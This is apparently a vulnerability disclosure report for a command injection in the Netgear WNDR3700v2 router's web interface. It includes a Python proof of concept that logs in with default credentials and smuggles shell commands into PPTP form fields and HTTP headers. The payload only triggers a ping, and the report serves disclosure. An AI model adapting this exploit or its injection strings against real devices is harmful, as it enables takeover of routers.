| Description | # Command injection
## Overview of the Vulnerability
A command injection vulnerability exists that allows commands to be executed remotely on Netgear router WNDR3700v2(latest firmware version:x.x.x.x) by crafting a request within the web application where there should be no context to access or execute code.
The vulnerability allows a malicious attacker authenticated on the web to execute commands on the device, enabling an attacker to gain the highest privilege of the system and take over the device.
The device uses HTTP basic authentication which leaks passwords easily from the HTTP flow, so this vulnerability can be exploited easily.
## Business Impact
Command injection vulnerability is easily exploited and can take over the affected devices. Thus the vulnerability is very dangerous which could also result in reputational damage for the business through the impact on customers' trust.
## Steps to Reproduce
I have put the PoC code in the next section(save code into poc.py), configure several parameters, and execute the script, you will see an outputting ping echo from the target device. The parameters are as below:
1. username, password: to visit the device's web interface (default: admin, password).
2. device_web_ip: web IP address of the target device.
3. ping_target: Usually configured as the local host. The device will send a ping echo to this host.
You can open Wireshark to monitor the ICMP flow. After executing the PoC, you will see a ping echo from the device to the local host.
## Proof of Concept
```
import requests,socket
import re
import time
from urllib.parse import urlencode
username = 'admin'
password = 'password'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.2'
request = {'HEAD':
{'Host': '{}'.format(device_web_ip),
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 -e \'exec "/bin/sh -c ping -c 1 {}";\' '.format(ping_target),
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 -p '`/bin/sh -c ping -c 1 {} 1>&0`' ".format(ping_target),
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://127.0.0.1:8081',
# 'Authorization': 'Basic YWRtaW46cGFzc3dvcmQ=',
'Connection': 'keep-alive',
'Referer': 'http://127.0.0.1:8081/BAS_pptp.htm',
'Upgrade-Insecure-Requests': '1'},
'PARAM':
{'submit_flag': 'pptp',
'change_wan_type': 0,
'run_test': 'no',
'pptp_myip': '/index.html|ping -c 1 {}|'.format(ping_target),
'pptp_gateway': '192.168.55.6/../../../../../../../../../../../../dev/console',
'pptp_subnet': 'x.x.x.x',
'pptp_dnsaddr1': "192.168.55.1 -x sh -c 'reset; exec ping -c 1 {} 1>&0 2>&0' ".format(ping_target),
'pptp_dnsaddr2': '192.168.55.2', 'hidden_pptp_idle_time': '5',
'conflict_wanlan': '',
'hid_mtu_value': 1436,
'hid_pptp_dod': 1,
'login_type': " -p '`/bin/sh -c ping -c 1 {} 1>&0`' ".format(ping_target),
'pptp_username': 'dummy -s --eval=$\'x:\n\t-\'"ping -c 1 {}" '.format(ping_target),
'pptp_passwd': 'dummy',
'pptp_dod': 1,
'pptp_idletime': 255,
'myip_1': 192,
'myip_3': 55,
'myip_4': 5,
'WANAssign': 1,
'mymask_1': '',
'mymask_2': '',
'mymask_3': '',
'mymask_4': '',
'pptp_serv_ip': '10.0.0.138',
'mygw_1': '192',
'mygw_2': 168,
'mygw_3': 55,
'mygw_4': 6,
'Gateway': '',
'pptp_conn_id': 'dummy',
'DNSAssign': 1,
'DAddr1': 192,
'DAddr2': 168,
'DAddr3': 55,
'DAddr4': 4278190081,
'PDAddr1': 255,
'PDAddr2': 168,
'PDAddr3': 55,
'PDAddr4': 2,
'Spoofmac': '52:54:00:12:34:66',
'Apply': 'Apply',
'wds_endis_ip_client': '',
'ipv6_primary_dns_fixed': '',
'out_of_range': '',
'repeater_mac1': '',
'network': '',
'domain_name': '<% cfg_sed_xss(',
'repeater_ip_a': '',
'system_name': ''
},
'ATTR':
{'URL': 'http://{}/apply.cgi?/BAS_update.htm timestamp=40908312'.format(device_web_ip),
'METHOD': 'POST',
'VERSION': 'HTTP/1.1'
}
}
headers = request['HEAD']
params = request['PARAM']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']
probe = 'http://{}/BAS_pptp.htm'.format(device_web_ip)
loop = 3
r = None
while loop>0:
try:
loop -= 1
r = requests.get(url=probe,headers=headers,auth=(username,password),timeout=0.5)
if r is not None and r.status_code != 200:
time.sleep((3-loop)*3)
elif r is not None and r.status_code == 200:
break
except Exception as e:
time.sleep((3-loop)*3)
print('Send token probe error:{}'.format(e))
timestamp = None
if r is not None and r.status_code == 200:
body = r.text.replace('%20',' ')
pat = r'action="(.*?) timestamp=(.*?)"'
res = re.findall(pat, body)
if len(res) > 0 and len(res[0])==2:
uri_half = res[0][0]
timestamp = res[0][1]
print('new timestamp:{}'.format(timestamp))
if timestamp is not None:
pos = url.find(' timestamp=')
url_tmp = url[:pos] + ' timestamp=' + timestamp
url = url_tmp
r = requests.request(method=method,url=url,headers=headers,auth=(username,password),data=params,verify=False,timeout=0.5)
``` |
|---|